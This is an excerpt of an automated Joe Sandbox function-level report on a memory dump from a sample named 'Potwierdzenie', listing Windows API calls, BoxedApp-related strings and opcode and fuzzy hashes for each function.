Instruction Fuzzy Hash: 26418F70A11215AFCB11EFA5C884EAFB7B8AF85B04F14446DE905AB244DB30DA05DBA0

Function 0BC163B0 Relevance: 7.6, APIs: 5, Instructions: 128synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,?,00000000,?,0BBF3F03,00000001), ref: 0BC163F3
CloseHandle.KERNEL32(00000000,?,0BBF3F03,00000001), ref: 0BC16436
GetTickCount.KERNEL32 ref: 0BC1643E
GetTickCount.KERNEL32 ref: 0BC16477
WaitForSingleObject.KERNEL32(00000000,?,?,0BBF3F03,00000001), ref: 0BC164D2

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CountTick$CloseCreateHandleObjectSemaphoreSingleWait
String ID:
API String ID: 321416141-0
Opcode ID: 0c7933a973382b67dbbddc6d7973aa823f4ce1e14fac834317baa1d9cbb9d92e
Instruction ID: e924bdf27646a5dc1c7a205803b5ea3665756c00c01b6ffa12ea32b4cce4fa55
Opcode Fuzzy Hash: 0c7933a973382b67dbbddc6d7973aa823f4ce1e14fac834317baa1d9cbb9d92e
Instruction Fuzzy Hash: C441D3306112019FDB24CF78D844B6A77E5AF86724F008A7DE866BB280DB31E605DB90

Function 0BC26B60 Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f2e402b62eb3c9cce243d147d3305c55ff4dd3691c12fd0e7a2e0c3a62cc18d1
Instruction ID: 781bcee1f5a79b9e7354221cd5556fb8c9723993ecf60f2ee6b156b48a425c6d
Opcode Fuzzy Hash: f2e402b62eb3c9cce243d147d3305c55ff4dd3691c12fd0e7a2e0c3a62cc18d1
Instruction Fuzzy Hash: 3C4148B45217159FDB30AF66C484B66BBF4EF44354F044A6DD98687750D730EA48CBE0

Function 0BCB2C80 Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb8a49e7e1a26932a6a463440dae07f650c9be14561d72a8d11f378a9993909
Instruction ID: 233ce8b8574f889fd926ae5bc55dfc3d72c7d75c778c9e2848ca50813ced25f0
Opcode Fuzzy Hash: adb8a49e7e1a26932a6a463440dae07f650c9be14561d72a8d11f378a9993909
Instruction Fuzzy Hash: A5318BB1E122199FDB14DFA4C984FEFBBB9EF88750F144058E904AB301D7318A05CBA0

Function 0BCB2D90 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92e02b7ddc4b7be63947f0c5a32abe922df96a90e8059c6543c537564cdf633f
Instruction ID: 09385380c72f63d2e81861d9710beb33037b43e18ae4162034eac6179a307c5d
Opcode Fuzzy Hash: 92e02b7ddc4b7be63947f0c5a32abe922df96a90e8059c6543c537564cdf633f
Instruction Fuzzy Hash: 34113D71621304AFC720DF69C884EABBBBCEF85651F04495DF905DB200CB31EA04CBA0

Function 0BC76010 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0BC76049
OpenMutexW.KERNEL32(00100000,00000000,?), ref: 0BC76060

Strings

bx_process_mutex, xrefs: 0BC76038
%s_%.8x_%.8x_%.8x, xrefs: 0BC76043

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: MutexOpenwsprintf
String ID: %s_%.8x_%.8x_%.8x$bx_process_mutex
API String ID: 1090227499-3238238516
Opcode ID: 49cc47d0b7bcb60937c8679e404347a2a5a7e6ec22a1c069a1f7ae434aac13eb
Instruction ID: d7312b37dc1ab3b1f8b4dabd1d8e4fa7e79345ee13cc348792aeb1d7d48bb860
Opcode Fuzzy Hash: 49cc47d0b7bcb60937c8679e404347a2a5a7e6ec22a1c069a1f7ae434aac13eb
Instruction Fuzzy Hash: 2501F2326602046BDB20EEACEC45F7AF3ACDF80320F0445B6FC28D7291DA70EE5146A0

Function 0BCBE500 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 293COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0BCBE5ED

Strings

ProgramW6432, xrefs: 0BCBE5D8
:, xrefs: 0BCBE53C
CommonProgramW6432, xrefs: 0BCBE60A

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ErrorLast
String ID: :$CommonProgramW6432$ProgramW6432
API String ID: 1452528299-594665369
Opcode ID: 31f996bc415c2a7b32ab48c71298593f1cc2419aa0b9d99876a04b584d964344
Instruction ID: f024f071f3b7fcdef6c3163cfdcb5ec6e96cc7a625a84a657f605256b2babd9a
Opcode Fuzzy Hash: 31f996bc415c2a7b32ab48c71298593f1cc2419aa0b9d99876a04b584d964344
Instruction Fuzzy Hash: 8281407AE6410D6BCE10AFD4BC03EEC7B259B05A17F008995FE1E5D290FA73463467A2

Function 0BC96590 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

memcpy.NTDLL(00000000,?,00000000,00000000,00000000,00000000), ref: 0BC9668B

Strings

core, xrefs: 0BC967E9
BoxedApp::Registry::Utils::BxRegTreeToRegTreeAdapter::CKeyNode::FindKey, xrefs: 0BC967E4
: error: both _bxNode and _prefedinedKeyNode are NULL, xrefs: 0BC967DF

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: FreeHeapReleaseSemaphorememcpy
String ID: : error: both _bxNode and _prefedinedKeyNode are NULL$BoxedApp::Registry::Utils::BxRegTreeToRegTreeAdapter::CKeyNode::FindKey$core
API String ID: 1425682516-2576125698
Opcode ID: e671984626b49dcfc5c6f7dfa5214e2d1ee8abb6b0c2eab5d8448a0acb0002ec
Instruction ID: 88df871b10578e7c90cbebb83f88e2f0d9741424c8d358d3d930fc7971326452
Opcode Fuzzy Hash: e671984626b49dcfc5c6f7dfa5214e2d1ee8abb6b0c2eab5d8448a0acb0002ec
Instruction Fuzzy Hash: 13711832A21114AFDB14EF64E88AEBFB7A8EF45710F444079ED059B290DB30ED15D7A1

Function 0BCB66F0 Relevance: 6.2, APIs: 4, Instructions: 173COMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?,00000000), ref: 0BCB6789
VarI4FromStr.OLEAUT32(?,00000000,80000000,?), ref: 0BCB6870

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

VarI4FromStr.OLEAUT32(?,00000000,80000000,?), ref: 0BCB68C9

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: From$FreeHeapReleaseSemaphorememcpy
String ID:
API String ID: 2178832421-0
Opcode ID: 50e88aedca9f8df7767fc8ae1ba00033bb4c632cc5ec8e53acd4ccc28f3ea548
Instruction ID: 633f311ec226aa268d250285ee5a38424c1bed74dd84d986bb15fb40cde5e6ae
Opcode Fuzzy Hash: 50e88aedca9f8df7767fc8ae1ba00033bb4c632cc5ec8e53acd4ccc28f3ea548
Instruction Fuzzy Hash: 5C51C072D10219ABDB10EFA4C845BEFF7B9AF84310F144139D915A7280EB72AE059BE5

Function 0BCA0750 Relevance: 6.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: fa6e2660ceaf34cb6715f569cf6f00efe795e831c20a8328b8401c8468d033eb
Instruction ID: 5dd5345c5c8f9d9ade08257761efaedc1a925103a26d70cda1892d2a5369f81d
Opcode Fuzzy Hash: fa6e2660ceaf34cb6715f569cf6f00efe795e831c20a8328b8401c8468d033eb
Instruction Fuzzy Hash: 00615FB5D212069FDB14DFA4C891BAEFBB4FF48348F10846DD916A7650DB30AA45CBA0

Function 0BC0AD70 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,00000000), ref: 0BC0AD95
VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,00000000), ref: 0BC0ADB2

Part of subcall function 0BCC0DD0: VirtualAlloc.KERNEL32(00000000,?,00001000,0BC0ADC4,?,0BC0ADC4,?,00000005,00000040,?,?,?,?,00000000), ref: 0BCC0DE0

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0BC0AECE
FlushInstructionCache.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0BC0AED5

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Virtual$AllocCacheCurrentFlushInfoInstructionProcessQuerySystem
String ID:
API String ID: 2666111047-0
Opcode ID: 8df7c2e3b11c8f363db6dcb7048404e6440a2380893e7cb8d280f6544033b9c0
Instruction ID: 66a0e0bc54d954e9d4cb80364f88d917cbb9dcbdd0e19ffcea0be7a8bce879bd
Opcode Fuzzy Hash: 8df7c2e3b11c8f363db6dcb7048404e6440a2380893e7cb8d280f6544033b9c0
Instruction Fuzzy Hash: 644163B2D50709EFCB10DFB8DC85E9FBBB8EF54210F10852AE956D7281E631E6158B90

Function 0BC97B10 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

memcpy.NTDLL(00000000,?,00000000,00000000,00000000,00000000), ref: 0BC97BFC

Strings

core, xrefs: 0BC97C6D
BoxedApp::Registry::Utils::BxRegTreeToRegTreeAdapter::CKeyNode::Rename, xrefs: 0BC97C68
: error: _bxNode is NULL, xrefs: 0BC97C63

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: FreeHeapReleaseSemaphorememcpy
String ID: : error: _bxNode is NULL$BoxedApp::Registry::Utils::BxRegTreeToRegTreeAdapter::CKeyNode::Rename$core
API String ID: 1425682516-3017956959
Opcode ID: 64796c59ac4dd92a051f6ebdfb85a0ce0d5ec8cf05a05fbcca134474a6a0ab81
Instruction ID: d6149ca386ea031203c7a823cd95d74f7d791a836111acbfeb7832995056fb5b
Opcode Fuzzy Hash: 64796c59ac4dd92a051f6ebdfb85a0ce0d5ec8cf05a05fbcca134474a6a0ab81
Instruction Fuzzy Hash: 0841D731A712159FDB04BB749C8AB7F7369AF85600F44006AE9069B281EB31DD01E3A6

Function 0BC889D0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0BCC30F0: TlsGetValue.KERNEL32(?,?,?,?,?,?,0BC871D0), ref: 0BCC3102
Part of subcall function 0BCC30F0: TlsGetValue.KERNEL32(?,?,?,?,?,?,0BC871D0), ref: 0BCC3116
Part of subcall function 0BCC30F0: UnlockFileEx.KERNEL32(?,00000000,00000001,00000000,?,?,?,?,?,?,0BC871D0), ref: 0BCC3129
Part of subcall function 0BCC30F0: LockFileEx.KERNEL32(00000000,00000002,00000000,00000001,00000000,?,?,?,?,?,?,0BC871D0), ref: 0BCC313E
Part of subcall function 0BCC30F0: GetLastError.KERNEL32(?,?,?,?,?,0BC871D0), ref: 0BCC3148

lstrlenW.KERNEL32(?), ref: 0BC889EE

Part of subcall function 0BCC3C80: TlsGetValue.KERNEL32(?,00000000,74DF2EE0,74DF34A0,00000001), ref: 0BCC3C8D
Part of subcall function 0BCC3C80: TlsSetValue.KERNEL32(?,-00000001), ref: 0BCC3C9A
Part of subcall function 0BCC3C80: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0BCC3D25
Part of subcall function 0BCC3C80: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0BCC3D4F
Part of subcall function 0BCC3C80: TlsGetValue.KERNEL32(?), ref: 0BCC3D8B
Part of subcall function 0BCC3C80: UnlockFileEx.KERNEL32(?,00000000,00000001,00000000,?), ref: 0BCC3DA3

lstrlenW.KERNEL32(?,00000000,?,?,00000000), ref: 0BC88A2E
lstrlenW.KERNEL32(?,00000078,00000000,?,?,00000000,00000000,?,?,00000000), ref: 0BC88A75

Strings

x, xrefs: 0BC88AC4

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Value$Filelstrlen$FreeUnlockVirtual$ErrorLastLock
String ID: x
API String ID: 1782424947-2363233923
Opcode ID: 198931841174b270bc686e04fdee4fe2c51b3ce9304cd54fb9bd2790a38e1317
Instruction ID: e67bd600f4e56d6989a7ada656876b6a78f60acc13584402eb15169c22fbfb3f
Opcode Fuzzy Hash: 198931841174b270bc686e04fdee4fe2c51b3ce9304cd54fb9bd2790a38e1317
Instruction Fuzzy Hash: 85510D71E112189FDB14DFA9D89479EBBB5FF88324F10426DE829AB380CB745905CF94

Function 0BC50AD0 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d148c4f990a632e89fe0e8f82fa1c638b188ee6c2bf644be0c1de16859ef6f78
Instruction ID: 54db3aa4d3e17d93b035d6380d9733add01e5df00968869b6e3d7b2105eb89cf
Opcode Fuzzy Hash: d148c4f990a632e89fe0e8f82fa1c638b188ee6c2bf644be0c1de16859ef6f78
Instruction Fuzzy Hash: E24112B4A11704AFD720DFA5C884B6BB7F8FF48744F10895DE98ADB200D734EA448BA0

Function 0BC27BF0 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 9de73614173802f0596c82dd25e1e0c4894e4d9497e91f87514116053cc42af2
Instruction ID: 6d334b7ebf6ec7b80e9cd067ca31d4c77e7eed801dc3a7b1b9e0e6284b3370a4
Opcode Fuzzy Hash: 9de73614173802f0596c82dd25e1e0c4894e4d9497e91f87514116053cc42af2
Instruction Fuzzy Hash: EF4107B4A117159FD720CF65C884A6BB7F8BF48754F10895DE98A9B310D734EE04CBA0

Function 0BC92BD0 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 9830cc279fd70d7ea85caaec080fc692774a47127c91419cbf1f851b2ac14cf0
Instruction ID: 1ecc51912c796fd7969212604057a0294f7c06dcd53b1b39ffa00460eb8faf73
Opcode Fuzzy Hash: 9830cc279fd70d7ea85caaec080fc692774a47127c91419cbf1f851b2ac14cf0
Instruction Fuzzy Hash: E1412CB4910705EFEB20CF65D888A6BB7F8FF44754F10895DE9969B210D774EA08CBA0

Function 0BC24A60 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ffcee3669b5a78d224d528589e2077c1b9c1b447a3203b3917693508c4e2f160
Instruction ID: e57842291cc59b989d3ac3094e4859b54b9fc8ab55840113ec7e704f042a8c09
Opcode Fuzzy Hash: ffcee3669b5a78d224d528589e2077c1b9c1b447a3203b3917693508c4e2f160
Instruction Fuzzy Hash: 274108B8A10B149FDB24DF65C884B6BB7F8FF48654F00895DEA969B310D774EA048B90

Function 0BC24910 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

